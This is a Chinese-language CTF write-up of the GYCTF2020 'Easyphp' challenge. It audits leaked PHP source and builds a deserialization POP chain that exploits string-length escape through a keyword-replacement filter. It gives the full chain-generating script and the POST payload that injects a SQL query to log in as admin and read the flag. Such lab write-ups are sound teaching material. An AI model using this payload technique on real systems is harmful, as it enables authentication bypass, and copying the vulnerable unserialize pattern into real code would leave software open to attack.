GYCTF2020-Easyphp

摘要
文件泄露、代码审计、反序列化

半成品系统 留后门的程序员已经跑路

一个用户登录框,有敏感词过滤,测试不像是sql注入

字典扫描:

image-20210827210220812

发现文件泄露

代码审计

image-20210827210234798

update.php

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
<?php
require_once('lib.php');
echo '<html>
<meta charset="utf-8">
<title>update</title>
<h2>这是一个未完成的页面,上线时建议删除本页面</h2>
</html>';
if ($_SESSION['login']!=1){
echo "你还没有登陆呢!";
}
$users=new User();
$users->update();
if($_SESSION['login']===1){
require_once("flag.php");
echo $flag;
}

?>

可以看到这个获取flag的方法,登录就行;fuzz的时候发现了admin账户是存在的

lib 类库:

1
2
3
4
class User 用户操作
class Info 用户信息
Class UpdateHelper 信息更新帮助类 //似乎没完善
class dbCtrl 数据操作类

登录逻辑:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
//class User   
public function login() {
if(isset($_POST['username'])&&isset($_POST['password'])){
$mysqli=new dbCtrl(); //数据操作
$this->id=$mysqli->login('select id,password from user where username=?');
if($this->id){
$_SESSION['id']=$this->id; //用户id
$_SESSION['login']=1; //记录登录状态
echo "你的ID是".$_SESSION['id'];
echo "你好!".$_SESSION['token'];
echo "<script>window.location.href='./update.php'</script>";
return $this->id;
}
}

$mysqli=new dbCtrl();

数据层:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
//class dbCtrl
public function login($sql)
{
$this->mysqli=new mysqli($this->hostname, $this->dbuser, $this->dbpass, $this->database);
if ($this->mysqli->connect_error) {
die("连接失败,错误:" . $this->mysqli->connect_error);
}
$result=$this->mysqli->prepare($sql);
$result->bind_param('s', $this->name);
$result->execute();
$result->bind_result($idResult, $passwordResult);
$result->fetch();
$result->close();
if ($this->token=='admin') { //session中的token可以理解为令牌,记录账户权限,admin权限则直接过,也就是后门?
return $idResult;
}
if (!$idResult) { //结果集为空,则用户不存在
echo('用户不存在!');
return false;
}
if (md5($this->password)!==$passwordResult) { //密码错误则登录失败
echo('密码错误!');
return false;
}
$_SESSION['token']=$this->name; //核验无误,记录登录token
return $idResult;
}

我们要利用这个“后门”,获取admin权限

反序列化

1
2
3
4
5
6
7
public function update(){
$Info=unserialize($this->getNewinfo());
$age=$Info->age;
$nickname=$Info->nickname;
$updateAction=new UpdateHelper($_SESSION['id'],$Info,"update user SET age=$age,nickname=$nickname where id=".$_SESSION['id']);
//这个功能还没有写完 先占坑
}

unserialize($this->getNewinfo()); 利用序列化传递实体类信息

1
2
3
4
5
public function getNewInfo(){
$age=$_POST['age'];
$nickname=$_POST['nickname'];
return safe(serialize(new Info($age,$nickname)));
}

生成Info类的实例,并序列化传递

safe 检测:

1
2
3
4
function safe($parm){
$array= array('union','regexp','load','into','flag','file','insert',"'",'\\',"*","alter");
return str_replace($array,'hacker',$parm);
}

替换……如果可以构建反序列化字符串逃逸,那序列化字符串将是不安全的

找一下魔法方法:

image-20210827221951009

1
2
3
4
//User: destruct
public function __destruct(){
return file_get_contents($this->nickname);//危
}

似乎是一个点,但不完全是……因为被过滤了

1
2
3
4
5
//UpdateHelper: destruct
public function __destruct()
{
echo $this->sql;
}

-> tostring

1
2
3
4
5
6
//User: toString
public function __toString()
{
$this->nickname->update($this->age);
return "0-0";
}

-> call

1
2
3
4
//Info: call
public function __call($name,$argument){
echo $this->CtrlCase->login($argument[0]);
}

可以调一个login方法,login有两个,一个是数据层的一个是用户类的

更底层的数据操作的sql语句是我们可以控制的,我们可以控制一个恒对的语句返回true的id结果集

1
2
3
4
select 1,2;
_ _ _ _ _ _ _ _
|id |password |
|1 |2 |

由于密码是md5的验证

我们可以控制password为1:

1
select 1,"c4ca4238a0b923820dcc509a6f75849b" from user where username=?

或者控制token为admin即可

pop:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
<?php

class User
{
public $age = null;
public $nickname = null;
public function __construct()
{
$this->age = "select 1,\"c4ca4238a0b923820dcc509a6f75849b\" from user where username=?";
$this->nickname = new Info();
}
}

class Info{
public $CtrlCase;

public function __construct(){
$this->CtrlCase = new dbCtrl();
}
}

class UpdateHelper{
public $sql;
public function __construct(){
$this->sql = new User();
}
}

class dbCtrl
{
public $name;
public $password;
public function __construct()
{
$this->name = 'admin';
$this->password = "1";
}
}

$a = new UpdateHelper();
echo serialize($a);

获取序列化对象处:

1
2
3
4
5
public function getNewInfo(){
$age=$_POST['age'];
$nickname=$_POST['nickname'];
return safe(serialize(new Info($age,$nickname)));
}

原本的数据

1
2
3
age=1&nickname=1

O:4:"Info":3:{s:3:"age";s:1:"1";s:8:"nickname";s:1:"1";s:8:"CtrlCase";N;}

在nickname处构建逃逸

对象数据放在CtrlCase

image-20210828000602366

符合构建标准后,多余字符被废弃

构建 payload:

1
age=1&nickname=****************************************************unionunionunionunion";s:8:"CtrlCase";O:12:"UpdateHelper":1:{s:3:"sql";O:4:"User":2:{s:3:"age";s:70:"select 1,"c4ca4238a0b923820dcc509a6f75849b" from user where username=?";s:8:"nickname";O:4:"Info":1:{s:8:"CtrlCase";O:6:"dbCtrl":2:{s:4:"name";s:5:"admin";s:8:"password";s:1:"1";}}}};}

回显后,登录admin账号

index:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
<?php
require_once "lib.php";

if(isset($_GET['action'])){
require_once(__DIR__."/".$_GET['action'].".php");
}
else{
if($_SESSION['login']==1){
echo "<script>window.location.href='./index.php?action=update'</script>";
}
else{
echo "<script>window.location.href='./index.php?action=login'</script>";
}
}
?>

session已设置,直接转到updata包含读取flag:

image-20210827234558705
作者

inanb

发布于

2021-08-27

更新于

2021-08-28

许可协议


:D 一言句子获取中...